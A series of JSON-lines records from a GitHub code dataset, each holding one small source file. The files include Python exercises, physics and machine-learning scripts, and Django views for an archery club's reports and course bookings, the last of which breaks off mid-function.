+{"seq_id":"74110668622","text":"import builtins\n\nimport mock\n\nfrom app.app import MainApplication\n\nfrom tests.mock_fixtures import *\n\n\nclass TestMainApplication:\n @pytest.fixture\n def main_app(\n self, mock_available_assortment, mock_special_offer\n ) -> MainApplication:\n return MainApplication(\n available_assortment=mock_available_assortment,\n available_offers=[mock_special_offer],\n )\n\n def test_apply_offers(\n self, main_app: MainApplication, mock_good_fx, mock_offer_good\n ) -> None:\n applied_offers_list = main_app.apply_offers(\n [mock_good_fx, mock_good_fx, mock_good_fx]\n )\n assert [good.goods_name for good in applied_offers_list] == [\n good.goods_name for good in [mock_offer_good] * 3\n ]\n\n def test_execute_application(\n self,\n capsys,\n main_app: MainApplication,\n ) -> None:\n with mock.patch.object(builtins, \"input\", lambda: \"PriceBasket Bar Bar\"):\n main_app.execute_application()\n captured = capsys.readouterr().out\n reference_string = \"\"\"Hello and welcome to our fellow shop!\nToday we are having the following goods available:\nBar pricing 666 british pounds per foo\nPlease, enter your order in following format:\nPriceBasket item1 item2 ... item 2\nSubtotal: 1332.00 British pounds\nMockGood 999% off: 84.00 British pounds\nTotal: 666 British pounds\n\"\"\"\n assert captured == reference_string\n","repo_name":"desireoftheother/product_store_assignment","sub_path":"tests/app/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72337208144","text":"# [1,2,3,4,5,6,7,8,9,10]\n# To find 3\n# The program should return 2\n# Normal\ndef finder(lst, num):\n sorted_list = sorted(lst)\n if num in sorted_list:\n index = sorted_list.index(num)\n print(f\"The element {num} is found at index {index}\")\n else:\n print(f\"The element {num} is not in the list\")\n\n\ndef finder2(lst, num, index=0):\n lst.sort()\n if index >= len(lst):\n print(f\"The element {num} is not in the list\")\n return\n if num == lst[index]:\n print(f\"The element {num} is found at index {index}\")\n return\n finder2(lst, num, index + 1)\n\n\ndef binary_search(lst, num):\n lst.sort()\n low_index, high_index = 0, len(lst) - 1\n while low_index <= high_index:\n mid = (low_index + high_index) // 2\n if lst[mid] == num:\n print(f\"The element {num} is found at index {mid}\")\n return\n elif lst[mid] < num:\n low_index = mid + 1\n else:\n high_index = mid - 1\n\n print(f\"The element {num} is not in the list\")\n\n\n# Recursion\ndef binary_search2(lst, num, low_index=0, high_index=None):\n if high_index is None:\n high_index = len(lst) - 1\n\n if low_index <= high_index:\n mid = (low_index + high_index) // 2\n if lst[mid] == num:\n print(f\"The element {num} is found at index {mid}\")\n return\n elif lst[mid] < num:\n binary_search2(lst, num, mid + 1, high_index)\n else:\n binary_search2(lst, num, low_index, mid - 1)\n\n\nmy_list = [5, 7, 8, 9, 10, 12, 14, 16, 18, 20, 22, 59, 67, 80, 93, 103, 105]\nelement_to_find = 59\n\nfinder(my_list, element_to_find)\nfinder2(my_list, element_to_find)\nbinary_search(my_list, element_to_find)\nbinary_search2(my_list, element_to_find)\n","repo_name":"Guru-raghav3245/pp-python","sub_path":"Recursion/Binary Search.py","file_name":"Binary Search.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22448987209","text":"import datetime\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.urls import reverse\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\n\nfrom enquiries.models import Enquiry\nfrom projects.models import Task,ProjectInstallationAssessement\n\n\n# Create your views here.\n\n@login_required\ndef reports_overview(request):\n template_name='reports/reports_overview.html'\n qs = ProjectInstallationAssessement.objects.all()\n overdue_projects = qs.filter(type='project',end_date__lte = datetime.date.today()).exclude(status='completed').count()\n overdue_installation = qs.filter(type='installation',end_date__lte = datetime.date.today()).exclude(status='completed').count()\n overdue_assemet = qs.filter(type='assement',end_date__lte = datetime.date.today()).exclude(status='completed').count()\n overdue_enquiry = Enquiry.objects.filter(next_follow_up__lte = datetime.date.today()).exclude(status='won').count()\n context ={\n 'obj':qs,\n 'overdue_projects':overdue_projects,\n 'overdue_installation':overdue_installation,\n 'overdue_assemet':overdue_assemet,\n 'overdue_enquiry':overdue_enquiry\n }\n return render(request,template_name,context)\n\n@login_required\ndef assigned_resources(request):\n template_name ='reports/resource_assignment_overview.html'\n qs_pai = Task.objects.all().distinct()\n print(qs_pai)\n for u in qs_pai:\n print(u.user.username +\" \"+ u.project_installation_assessement.type +\" \"+ u.project_installation_assessement.title +\" \"+ u.decription)\n context ={\n 'obj':qs_pai\n }\n return render(request,template_name,context)\n\n\n\n \n\n\n","repo_name":"poppykode/sm","sub_path":"service_management/reports/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32659678515","text":"def solution(N, jump):\n # 우, 하, 좌, 상\n dr = [0, 1, 0, -1]\n dc = [1, 0, -1, 0]\n direction = 0\n arr = [[0] * N for _ in range(N)]\n visited = [[0] * N for _ in range(N)]\n visited[0][0] = 1\n r = 0\n c = 0\n value = 1\n arr[r][c] = value\n state = 0\n\n while value < N * N:\n\n # 달팽이의 중앙에 도착하면 다시 최 좌측 상단(0, 0)으로 이동\n if N % 2: # N이 홀수면 중앙 좌표가 (N//2, N//2)\n if (r, c) == (N // 2, N // 2):\n r, c = 0, 0\n visited = [[0] * N for _ in range(N)]\n visited[0][0] = 1\n else: # N이 짝수면 중앙 좌표가 (N//2, N//2 - 1)\n if (r, c) == (N // 2, N // 2 - 1):\n r, c = 0, 0\n visited = [[0] * N for _ in range(N)]\n visited[0][0] = 1\n\n nr = r + dr[direction]\n nc = c + dc[direction]\n\n # 범위를 벗어나거나 이미 지나온 경로면 방향 전환\n if nr < 0 or nr >= N or nc < 0 or nc >= N or visited[nr][nc]:\n direction = (direction + 1) % 4\n nr = r + dr[direction]\n nc = c + dc[direction]\n\n visited[nr][nc] = 1\n\n # 비어있는 곳을 지나면 state 1씩 채우기\n if not arr[nr][nc]:\n state += 1\n\n # state와 jump가 같아질 때마다 해당 위치에 value를 저장\n # 비어있는 칸을 jump 개씩 건너뛰면서 값 채우기\n if state == jump:\n value += 1\n arr[nr][nc] = value\n state = 0\n r, c = nr, nc\n\n for i in range(N):\n for j in range(N):\n if arr[i][j] == N * N:\n return [i + 1, j + 1]","repo_name":"llunaB/algorithmn","sub_path":"algorithm-python/220201_이전/211030_네이버파이낸셜 백엔드/건너뛰는달팽이_답.py","file_name":"건너뛰는달팽이_답.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22636587809","text":"# -*- coding:utf-8 -*-\n# Force-Directed Graph Drawing\n\nimport Tkinter\nimport random\nimport math\n\n# d = [\n# [.0, .3, .3, .0],\n# [.3, .0, .3, .0],\n# [.3, .3, .0, .3],\n# [.0, .0, .3, .0]\n# ]\n\nd = []\nnrows = 5\nncols = 5\nfor i in xrange(nrows * ncols):\n ci = i % ncols\n ri = i / ncols\n dr = []\n for j in xrange(nrows * ncols):\n cj = j % ncols\n rj = j / ncols\n if ((ci == cj) and (ri == rj - 1 or ri == rj + 1)\n or (ri == rj and (ci == cj - 1 or ci == cj + 1))):\n dr.append(.1)\n else:\n dr.append(.0)\n d.append(dr)\n# mass\nalpha = 1.0\nbeta = .0001\nk = 1.0\n#damping\neta = .99\ndelta_t = .01\n\nm = len(d)\n\nroot = Tkinter.Tk()\n\ncanvas = Tkinter.Canvas(root, width=500, height=500, background=\"yellow\") # 创建给定大小的画布\ncanvas.pack()\n\nx = []\nv = []\nids = []\n\n\ndef move_oval(i):\n newx = int(x[i][0] * 500) # 点的坐标等于 500\n newy = int(x[i][1] * 500) # 点的坐标等于500\n canvas.coords(ids[i], newx - 5, newy - 5, newx + 5, newy + 5) # 调整每个点\n\n# 创建一个红点在画布上\nfor i in xrange(m):\n xi = [random.random(), random.random()]\n x.append(xi)\n v.append([0.0, 0.0])\n id = canvas.create_oval(245, 245, 255, 255, fill=\"red\")\n ids.append(id)\n move_oval(i)\n\nlids = []\n\n\ndef move_line(id, xi, xj):\n canvas.coords(id,\n int(xi[0] * 500),\n int(xi[1] * 500),\n int(xj[0] * 500),\n int(xj[1] * 500))\n\nfor i in xrange(m):\n for j in xrange(m):\n if d[i][j] != 0: # 如果边存在\n id = canvas.create_line(0, 0, 0, 0)\n lids.append(id)\n move_line(id, x[i], x[j])\n\n\ndef Coulomb_force(xi, xj): # 斥力\n dx = xj[0] - xi[0]\n dy = xj[1] - xi[1]\n ds2 = dx * dx + dy * dy\n ds = math.sqrt(ds2)\n ds3 = ds2 * ds\n if ds3 == 0.0:\n const = 0\n else:\n const = beta / (ds2 * ds)\n return [-const * dx, -const * dy]\n\n\ndef Hooke_force(xi, xj, dij): # 引力\n dx = xj[0] - xi[0]\n dy = xj[1] - xi[1]\n ds = math.sqrt(dx * dx + dy * dy)\n dl = ds - dij\n const = k * dl / ds\n return [const * dx, const * dy]\n\n\ndef move():\n ekint = [0.0, 0.0]\n for i in xrange(m):\n Fx = 0.0\n Fy = 0.0\n for j in xrange(m):\n if j == 1:\n continue\n dij = d[i][j]\n Fij = 0.0\n if dij == 0.0:\n Fij = Coulomb_force(x[i], x[j])\n else:\n Fij = Hooke_force(x[i], x[j], dij)\n Fx += Fij[0]\n Fy += Fij[1]\n v[i][0] = (v[i][0] + alpha * Fx * delta_t) * eta\n v[i][1] = (v[i][1] + alpha * Fy * delta_t) * eta\n ekint[0] = ekint[0] + alpha * (v[i][0] * v[i][0])\n ekint[1] = ekint[1] + alpha * (v[i][1] * v[i][1])\n\n # print \"total kinetic energy: %lf\" % math.sqrt(ekint[0] * ekint[0] + ekint[1] * ekint[1])\n\n for i in xrange(m):\n x[i][0] += v[i][0] * delta_t\n x[i][1] += v[i][1] * delta_t\n move_oval(i)\n\n li = 0\n for i in xrange(m):\n for j in xrange(m):\n if d[i][j] != 0:\n id = lids[li]\n move_line(id, x[i], x[j])\n li += 1\n\n root.after(1, move)\n\nroot.after(1, move)\n\nroot.mainloop()","repo_name":"dmbjzhh/python","sub_path":"blender/spring.py","file_name":"spring.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24319317305","text":"import _pathmagic\nimport argparse\nimport json\n\nfrom keras.models import Model\nfrom keras.layers import *\nfrom keras.utils import plot_model\nfrom src.acgan import acgan\nfrom src.acgan import cgan\nfrom src.acgan import gan\n\n\ndef main():\n args = arg_parse()\n\n\n acgan_obj = acgan.ACGAN(\n num_classes=2,\n minimum=0,\n maximum=100\n )\n generator = acgan_obj.generator\n discriminator = acgan_obj.discriminator\n\n plot_model(generator, to_file=args.save + 'generator.png')\n plot_model(discriminator, to_file=args.save + 'discriminator.png')\n\ndef arg_parse():\n parser = argparse.ArgumentParser(\n description='')\n parser.add_argument(\n \"-s\",\n \"--save\",\n default=\"output/experiments/models/\",\n help=\"File to save the roc curve\")\n parser.add_argument(\n \"-c\",\n \"--combination\",\n default=\"data/experiments/combination/5032AB.json\",\n help=\"combination(best label to date) file path\")\n parser.add_argument(\n \"-mm\",\n \"--minmax\",\n default=\"data/experiments/minmax/5032AB.json\",\n help=\"data minmax file path\")\n args = parser.parse_args()\n return args\n\nif __name__ == '__main__':\n main()","repo_name":"mine1217/acgan_anomaly_detection","sub_path":"src/preprocess/plot_model.py","file_name":"plot_model.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12801310282","text":"#!/usr/bin/python3\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nbeta2 = 0.5\ng = -1\nk = 3\n\ndef D(x):\n return -beta2 * x**2\n\ndef one_step(dz, D_function, g, tvals, dt, psi):\n omegas = np.fft.fftfreq(tvals.shape[-1], dt) * 2 * np.pi\n \n ft = np.fft.fft(psi, norm=\"ortho\")\n ft *= np.exp(-1j * D_function(1j*omegas) * dz / 2.)\n psi_half = np.fft.ifft(ft, norm=\"ortho\")\n\n ft = np.fft.fft(psi_half * np.exp(-1j * g * np.abs(psi_half)**2 * dz), norm=\"ortho\")\n ft *= np.exp(-1j * D_function(1j*omegas) * dz / 2.)\n return np.fft.ifft(ft, norm=\"ortho\")\n\n\ndef U(tvals, k):\n return np.sqrt(2 * k) / np.cosh(np.sqrt(2 * k) * tvals)\n\n\n\ntt, dt = np.linspace(-10, 10, num = 1000, retstep=True)\npsi0 = U(tt, k)\n\n\ndz = 0.01\n\nfor i in range(1000):\n print(i)\n plt.clf()\n if i != 0:\n psi0 = one_step(dz, D, g, tt, dt, psi0)\n\n psiA = np.exp(1j * k * i * dz) * U(tt, k)\n \n plt.ylim((-3, 3))\n\n plt.plot(tt, psi0.real)\n plt.plot(tt, psi0.imag)\n\n plt.plot(tt, psiA.real, 'x', markersize=0.6)\n plt.plot(tt, psiA.imag, 'x', markersize=0.6)\n\n nStr = str(i)\n nStr=nStr.rjust(3, '0')\n\n plt.savefig(\"soliton\" + nStr + \".png\")\n","repo_name":"matszczygiel/python","sub_path":"lab13/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71897781904","text":"# coding: utf-8\nimport sys\nsys.path.append('./common')\nsys.path.append('./network')\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mnist import load_mnist\nfrom trainer import Trainer\nfrom two_layer_net import TwoLayerNet\nfrom simple_convnet import SimpleConvNet\n\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True, one_hot_label=True)\n\nnetwork = TwoLayerNet(input_size=784, hidden_size=50, output_size=10)\n\niters_num = 10000\ntrain_size = x_train.shape[0]\nbatch_size = 100\nlearning_rate = 0.1\n\ntrain_loss_list = []\ntrain_acc_list = []\ntest_acc_list = []\n\niter_per_epoch = max(train_size / batch_size, 1)\n\nfor i in range(iters_num):\n batch_mask = np.random.choice(train_size, batch_size)\n x_batch = x_train[batch_mask]\n t_batch = t_train[batch_mask]\n \n grad = network.gradient(x_batch, t_batch)\n \n for key in ('W1', 'b1', 'W2', 'b2'):\n network.params[key] -= learning_rate * grad[key]\n \n loss = network.loss(x_batch, t_batch)\n train_loss_list.append(loss)\n \n if i % iter_per_epoch == 0:\n train_acc = network.accuracy(x_train, t_train)\n test_acc = network.accuracy(x_test, t_test)\n train_acc_list.append(train_acc)\n test_acc_list.append(test_acc)\n print(\"train acc, test acc | \" + str(train_acc) + \", \" + str(test_acc))\n\nf = open('param.txt','w+')\n\nfor i,x in enumerate(network.params['W1']):\n if i != 0:\n f.write(\",\")\n f.write(\",\".join([str(s) for s in x]))\nf.write(\"\\n\")\n\nfor i,x in enumerate(network.params['b1']):\n if i != 0:\n f.write(\",\")\n f.write(str(x))\nf.write(\"\\n\")\n\nfor i,x in enumerate(network.params['W2']):\n if i != 0:\n f.write(\",\")\n f.write(\",\".join([str(s) for s in x]))\nf.write(\"\\n\")\n\nfor i,x in enumerate(network.params['b2']):\n if i != 0:\n f.write(\",\")\n f.write(str(x))\nf.write(\"\\n\")\n\nf.close()\n\n(x_train, t_train), (x_test, t_test) = load_mnist(flatten=False)\n\nmax_epochs = 20\n\nnetwork = SimpleConvNet(input_dim=(1,28,28), \n conv_param = {'filter_num': 30, 'filter_size': 5, 'pad': 0, 'stride': 1},\n hidden_size=100, output_size=10, weight_init_std=0.01)\n \ntrainer = Trainer(network, x_train, t_train, x_test, t_test,\n epochs=max_epochs, mini_batch_size=100,\n optimizer='Adam', optimizer_param={'lr': 0.001},\n evaluate_sample_num_per_epoch=10000)\ntrainer.train()\n\nnetwork.save_params(\"params.pkl\")\n","repo_name":"ayanamizuta/hand_writing-demo","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7691184529","text":"# https://leetcode.com/problems/longest-repeating-character-replacement/\n# https://leetcode.com/problems/longest-repeating-character-replacement/discuss/91271/Java-12-lines-O(n)-sliding-window-solution-with-explanation/95815\n\n# slightly counter-intuitive one. In this one, we are not actually\n# shrinking the window, we are sliding it to the right. Take an example\n# \"AAABCDAAAAA\", with k = 1. Every time max_count changes, the very\n# change is accurate, and it also leads to the change of the longest record.\n# When we are sliding the window to the right, the current window can be invalid\n# until we find another valid and longer window.\n\nclass Solution:\n def characterReplacement(self, s: str, k: int) -> int:\n start = end = 0\n record = collections.Counter()\n max_count = 0\n longest = 0\n \n while end < len(s):\n record[s[end]] += 1\n max_count = max(max_count, record[s[end]])\n \n if end - start + 1 - max_count > k:\n record[s[start]] -= 1\n start += 1\n \n longest = max(longest, end - start + 1)\n end += 1\n \n return longest\n","repo_name":"ffyuanda/ffyuanda_learn","sub_path":"LeetCode/sliding_window/424-longest-repeating-character-replacement.py","file_name":"424-longest-repeating-character-replacement.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11253037883","text":"# GPASort.py\r\n# A program to sort student information by GPA, name, or credits.\r\n\"\"\"Extend the gpasort program so that it allows the user to sort a file of\r\nstudents based on GPA, name, or credits. Your program should prompt for the\r\ninput file, the field to sort on, and the output file.\"\"\"\r\n\r\nfrom gpaClass import Student, makeStudent\r\n\r\ndef getFileName():\r\n while True:\r\n try:\r\n filename = input(\"Enter the name of the data file: \")\r\n except(SyntaxError, NameError, TypeError, ValueError):\r\n print(\"You have to enter a valid file path.\")\r\n continue\r\n else:\r\n break\r\n return filename\r\n\r\ndef howToSort():\r\n choices = [1, 2, 3]\r\n while True:\r\n try:\r\n sortChoice = int(input(\"How do you want the data sorted? \\\r\n(1 = GPA, 2 = name, 3 = credits) \"))\r\n except (SyntaxError, NameError, TypeError, ValueError):\r\n print(\"You have to enter a 1, 2, or 3.\")\r\n continue \r\n if sortChoice in choices:\r\n break\r\n else:\r\n print(\"You have to enter a 1, 2, or 3.\")\r\n continue\r\n return sortChoice\r\n\r\ndef pickSort(sortChoice, filename):\r\n if sortChoice == 1:\r\n data = gpaSort(filename)\r\n elif sortChoice == 2:\r\n data = nameSort(filename)\r\n else:\r\n data = creditSort(filename)\r\n return data\r\n\r\ndef readStudents(filename):\r\n infile = open(filename, 'r')\r\n students = []\r\n for line in infile:\r\n students.append(makeStudent(line))\r\n infile.close()\r\n return students\r\n\r\ndef writeStudents(students, filename):\r\n outfile = open(filename, 'w')\r\n for s in students:\r\n print(\"{0}\\t{1}\\t{2}\".\r\n format(s.getName(), s.getHours(), s.getQPoints()),\r\n file = outfile)\r\n outfile.close()\r\n\r\ndef gpaSort(filename):\r\n data = readStudents(filename)\r\n data.sort(key=Student.gpa)\r\n return data\r\n\r\ndef nameSort(filename):\r\n data = readStudents(filename)\r\n data.sort(key=Student.getName)\r\n return data\r\n\r\ndef creditSort(filename):\r\n data = readStudents(filename)\r\n data.sort(key=Student.getHours)\r\n return data\r\n\r\ndef main():\r\n print(\"This program sorts student information by GPA, name, or credits.\")\r\n filename = getFileName()\r\n sortChoice = howToSort()\r\n data = pickSort(sortChoice, filename)\r\n filename = input(\"Enter a name for the output file: \")\r\n writeStudents(data, filename)\r\n print(\"The data has been written to\", filename)\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"jeffvswanson/CodingPractice","sub_path":"Python/Zelle/Chapter11_DataCollections/ProgrammingExercises/2_GPASort/GPASort.py","file_name":"GPASort.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10171020354","text":"import datetime\nimport json\n\nfrom django.conf import settings\nfrom django.contrib.auth import login\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.db.models import Prefetch, Q\nfrom django.shortcuts import redirect\nfrom django.urls import reverse, reverse_lazy\nfrom django.views.generic import (\n CreateView, FormView, ListView, TemplateView, View,\n)\nfrom django.views.generic.detail import SingleObjectMixin\n\nimport requests\nimport stripe\nfrom braces.views import MessageMixin\nfrom dateutil.relativedelta import relativedelta\n\nfrom membership.models import Member\nfrom payments.models import PaymentIntent\nfrom wallingford_castle.forms import DirectRegisterForm\nfrom wallingford_castle.mixins import FullMemberRequired\nfrom wallingford_castle.models import Archer\n\nfrom .forms import (\n CourseInterestForm, MembersBookCourseForm, NonMembersBookCourseForm,\n SessionBookingForm,\n)\nfrom .models import Attendee, Course, Session\n\n\nclass Holidays(TemplateView):\n template_name = 'courses/holidays.html'\n\n\nclass HolidaysUtils:\n def dispatch(self, request, *args, **kwargs):\n try:\n self.course = Course.objects.get(can_book_individual_sessions=True, open_for_bookings=True)\n except Course.DoesNotExist:\n self.messages.error('Bookings are not currently open, sorry. Please contact us for more information.')\n return redirect('courses:holidays')\n return super().dispatch(request, *args, **kwargs)\n\n def get_members(self):\n return Member.objects.managed_by(self.request.user).filter(archer__age='junior').select_related('archer')\n\n def get_archers(self, members):\n member_archers = [member.archer for member in members]\n other_archers = Archer.objects.filter(\n Q(user=self.request.user) | Q(managing_users=self.request.user),\n age='junior',\n ).exclude(id__in=[archer.pk for archer in member_archers])\n return other_archers\n\n def annotate_with_details(self, archer, errored_booking_forms=None):\n if errored_booking_forms is None:\n errored_booking_forms = {}\n try:\n archer.attendee = archer.attendee_set.get(course=self.course)\n archer.sessions_booked = archer.attendee.session_set.order_by('session__start_time')\n archer.booking_form = errored_booking_forms.get(\n str(archer.pk),\n SessionBookingForm(course=self.course, booked=archer.sessions_booked, prefix=archer.pk),\n )\n except Attendee.DoesNotExist:\n archer.attendee = None\n archer.booking_form = SessionBookingForm(course=self.course, prefix=archer.pk)\n return archer\n\n def get_to_pay(self, archers, members):\n to_pay = 0\n sessions = []\n for archer in archers:\n if archer.attendee:\n for session in archer.sessions_booked:\n if not session.paid:\n sessions.append(session)\n to_pay += session.fee\n for member in members:\n if member.archer.attendee:\n for session in member.archer.sessions_booked:\n if not session.paid:\n sessions.append(session)\n to_pay += session.fee\n return sessions, to_pay\n\n\nclass HolidaysBook(HolidaysUtils, MessageMixin, TemplateView):\n template_name = 'courses/holidays-book.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if self.request.user.is_anonymous:\n context.setdefault('login_form', AuthenticationForm())\n context.setdefault('register_form', DirectRegisterForm())\n else:\n context['members'] = self.get_members()\n context['archers'] = self.get_archers(context['members'])\n\n for member in context['members']:\n member.archer = self.annotate_with_details(member.archer, context.get('errored_booking_forms'))\n for archer in context['archers']:\n self.annotate_with_details(archer, context.get('errored_booking_forms'))\n\n form = CourseInterestForm(initial={'contact_email': self.request.user.email}, course_type='holidays')\n context.setdefault('new_archer_form', form)\n\n _, context['to_pay'] = self.get_to_pay(context['archers'], context['members'])\n context['STRIPE_KEY'] = settings.STRIPE_KEY\n\n return context\n\n def post(self, request, *args, **kwargs):\n context = {}\n form = request.POST.get('form')\n if form == 'login':\n form = AuthenticationForm(data=request.POST)\n if form.is_valid():\n login(request, form.user_cache)\n return self.get(request, *args, **kwargs)\n else:\n context['login_form'] = form\n elif form == 'register':\n form = DirectRegisterForm(data=request.POST)\n if form.is_valid():\n user = form.save()\n login(request, user)\n return self.get(request, *args, **kwargs)\n else:\n context['register_form'] = form\n elif form == 'new-archer':\n form = CourseInterestForm(data=request.POST, course_type='holidays')\n if form.is_valid():\n today = datetime.date.today()\n age = relativedelta(today, form.instance.date_of_birth).years\n if age >= 13:\n msg = (\n 'Holiday archery is only available for under 13s. For '\n 'older children, please book a beginners course.'\n )\n form.add_error(None, msg)\n context['new_archer_form'] = form\n else:\n interest = form.save()\n interest.convert_to_archer(self.request.user)\n return self.get(request, *args, **kwargs)\n else:\n context['new_archer_form'] = form\n elif form == 'booking':\n archer_id = request.POST['archer']\n form = SessionBookingForm(data=request.POST, course=self.course, prefix=archer_id)\n if form.is_valid():\n try:\n form.save(archer_id=archer_id)\n return self.get(request, *args, **kwargs)\n except SessionBookingForm.CancellationException:\n msg = (\n 'To cancel a session which has been paid for, please '\n 'email us at hello@wallingfordcastle.co.uk'\n )\n form.add_error(None, msg)\n context['errored_booking_forms'] = {archer_id: form}\n elif form == 'add-to-subscription':\n if self.request.user.subscription_id:\n members = self.get_members()\n archers = self.get_archers(members)\n for member in members:\n member.archer = self.annotate_with_details(member.archer)\n for archer in archers:\n self.annotate_with_details(archer)\n description = 'Holiday archery'\n _, amount = self.get_to_pay(archers, members)\n self.request.user.add_invoice_item(\n amount=amount * 100,\n description=description,\n )\n for member in members:\n for session in getattr(member.archer, 'sessions_booked', []):\n session.paid = True\n session.save()\n for archer in archers:\n for session in getattr(archer, 'sessions_booked', []):\n session.paid = True\n session.save()\n self.messages.success(\n 'Thanks for booking your holiday session! We will contact you '\n 'soon with more details.'\n )\n else:\n self.messages.error('You do not seem to have an active membership.')\n return self.render_to_response(context=self.get_context_data(**context))\n\n\nclass HolidaysPay(HolidaysUtils, MessageMixin, View):\n def get(self, request, *args, **kwargs):\n customer_id = self.request.user.customer_id or None\n return_url = reverse('courses:holidays')\n members = self.get_members()\n archers = self.get_archers(members)\n for archer in archers:\n self.annotate_with_details(archer)\n to_pay, _ = self.get_to_pay(archers, members)\n if not to_pay:\n self.messages.error('You have no sessions to pay for.')\n return redirect(return_url)\n stripe_session = stripe.checkout.Session.create(\n line_items=[{\n 'price_data': {\n 'currency': 'gbp',\n 'product_data': {\n 'name': 'Holiday archery session - %s on %s' % (\n session.attendee.archer,\n session.session.start_time.date().strftime('%-d %B %Y'),\n ),\n },\n 'unit_amount': session.fee * 100,\n },\n 'quantity': 1,\n } for session in to_pay],\n mode='payment',\n customer=customer_id,\n customer_email=None if customer_id else self.request.user.email,\n success_url=request.build_absolute_uri(return_url),\n cancel_url=request.build_absolute_uri(return_url),\n )\n intent = PaymentIntent.objects.create(stripe_id=stripe_session.payment_intent, user=self.request.user)\n for session in to_pay:\n intent.lineitemintent_set.create(item=session)\n return redirect(stripe_session.url, status_code=303)\n\n\nclass SchoolSignup(MessageMixin, FormView):\n form_class = CourseInterestForm\n school = None\n\n def get_template_names(self):\n return ['courses/%s.html' % self.school]\n\n def get_form_kwargs(self):\n kwargs = super().get_form_kwargs()\n kwargs['course_type'] = self.school\n return kwargs\n\n def form_valid(self, form):\n form.save()\n self.messages.success('Thanks for your interest! We will be in touch soon.')\n if settings.SLACK_EVENTS_HREF:\n data = json.dumps({\n 'icon_emoji': ':wave:',\n 'text': 'New %s course interest received for %s!\\n%s' % (\n self.school,\n form.cleaned_data['name'],\n self.request.build_absolute_uri(\n reverse(\n 'admin:courses_interest_change',\n args=(form.instance.pk,),\n )\n ),\n )\n })\n try:\n requests.post(settings.SLACK_EVENTS_HREF, data=data)\n except Exception:\n pass\n return super().form_valid(form)\n\n def get_success_url(self):\n return reverse('juniors')\n\n\nclass MembersCourseList(FullMemberRequired, ListView):\n model = Course\n template_name = 'courses/members_course_list.html'\n\n def get_queryset(self):\n bookable_courses = Course.objects.filter(open_for_bookings=True, open_to_members=True).prefetch_related(\n Prefetch('session_set', queryset=Session.objects.order_by('start_time'), to_attr='sessions')\n ).order_by('id')\n for course in bookable_courses:\n user = self.request.user\n course.registered_members = (\n course.attendee_set.filter(archer__user=user)\n | course.attendee_set.filter(archer__managing_users=user)\n )\n return bookable_courses\n\n\nclass MembersCourseBooking(FullMemberRequired, SingleObjectMixin, FormView):\n model = Course\n template_name = 'courses/members_book_course.html'\n context_object_name = 'course'\n form_class = MembersBookCourseForm\n\n def dispatch(self, request, *args, **kwargs):\n self.object = self.get_object()\n return super().dispatch(request, *args, **kwargs)\n\n def get_queryset(self):\n return Course.objects.filter(open_for_bookings=True, open_to_members=True)\n\n def get_form_kwargs(self):\n kwargs = super().get_form_kwargs()\n kwargs.update({\n 'course': self.object,\n 'user': self.request.user,\n })\n return kwargs\n\n def form_valid(self, form):\n attendee = form.save()\n if settings.SLACK_EVENTS_HREF:\n data = json.dumps({\n 'icon_emoji': ':white_check_mark:',\n 'text': '%s has registered for %s!' % (\n attendee.archer,\n attendee.course,\n )\n })\n try:\n requests.post(settings.SLACK_EVENTS_HREF, data=data)\n except Exception:\n pass\n return super().form_valid(form)\n\n def get_success_url(self):\n return reverse('courses:members-course-list')\n\n\nclass NonMembersCourseList(FullMemberRequired, ListView):\n model = Course\n template_name = 'courses/non_members_course_list.html'\n\n def get_queryset(self):\n bookable_courses = Course.objects.filter(open_for_bookings=True, open_to_non_members=True).prefetch_related(\n Prefetch('session_set', queryset=Session.objects.order_by('start_time'), to_attr='sessions')\n )\n for course in bookable_courses:\n user = self.request.user\n course.registered_archers = (\n course.attendee_set.filter(archer__user=user)\n | course.attendee_set.filter(archer__managing_users=user)\n )\n return bookable_courses\n\n\nclass NonMembersCourseBooking(FullMemberRequired, SingleObjectMixin, FormView):\n model = Course\n template_name = 'courses/non_members_book_course.html'\n context_object_name = 'course'\n form_class = NonMembersBookCourseForm\n\n def dispatch(self, request, *args, **kwargs):\n self.object = self.get_object()\n return super().dispatch(request, *args, **kwargs)\n\n def get_queryset(self):\n return Course.objects.filter(open_for_bookings=True, open_to_non_members=True)\n\n def get_form_kwargs(self):\n kwargs = super().get_form_kwargs()\n kwargs.update({\n 'course': self.object,\n 'user': self.request.user,\n })\n return kwargs\n\n def form_valid(self, form):\n attendee = form.save()\n if settings.SLACK_EVENTS_HREF:\n data = json.dumps({\n 'icon_emoji': ':white_check_mark:',\n 'text': '%s has registered for %s!' % (\n attendee.archer,\n attendee.course,\n )\n 